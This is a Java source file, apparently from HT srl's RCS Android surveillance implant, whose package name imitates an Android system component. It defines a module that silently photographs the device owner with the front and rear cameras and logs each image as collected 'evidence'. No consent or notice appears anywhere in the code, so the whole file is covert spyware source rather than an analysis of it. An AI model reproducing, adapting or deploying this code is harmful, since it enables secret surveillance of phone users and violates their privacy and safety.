/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : CameraAgent.java
* Created : Apr 18, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.module;
import android.content.pm.PackageManager;
import android.hardware.Camera;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.module.camera.CameraSnapshot;
import com.android.dvci.util.Check;
import com.android.dvci.util.Utils;
import java.io.IOException;
import java.util.concurrent.Callable;
import java.util.concurrent.TimeUnit;
//MANUAL http://developer.android.com/guide/topics/media/camera.html
/**
* The Class ModuleCamera.
*/
public class ModuleCamera extends BaseInstantModule {
private static final String TAG = "ModuleCamera"; //$NON-NLS-1$
int counter = 0;
//private boolean face;
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.agent.AgentBase#parse(byte[])
*/
@Override
public boolean parse(ConfModule conf) {
//boolean force = conf.getBoolean("force", false);
//face = conf.getBoolean("face", false);
return Status.self().haveCamera();
}
@Override
public void actualStart() {
try {
/* if (ModuleCall.self() != null && ModuleCall.self().isRecording()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart), call recording, cannot get snapshot");
}
return;
}*/
snapshot();
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart) Error: " + e);
}
}
}
/**
* Snapshot.
*
* @throws IOException
*/
private void snapshot() throws IOException {
if (Cfg.DEBUG) {
Check.log(TAG + " (snapshot)");
}
counter++;
if (Build.VERSION.SDK_INT > Build.VERSION_CODES.HONEYCOMB) {
final CameraSnapshot camera = CameraSnapshot.self();
synchronized(Status.self().lockFramebuffer) {
camera.snapshot(Camera.CameraInfo.CAMERA_FACING_FRONT);
}
Utils.sleep(100);
synchronized(Status.self().lockFramebuffer) {
camera.snapshot(Camera.CameraInfo.CAMERA_FACING_BACK);
}
}
}
public static void callback(byte[] bs) {
if (Cfg.DEBUG) {
Check.log(TAG + " (callback), bs: " + bs.length);
}
EvidenceBuilder.atomic(EvidenceType.CAMSHOT, null, bs);
}
}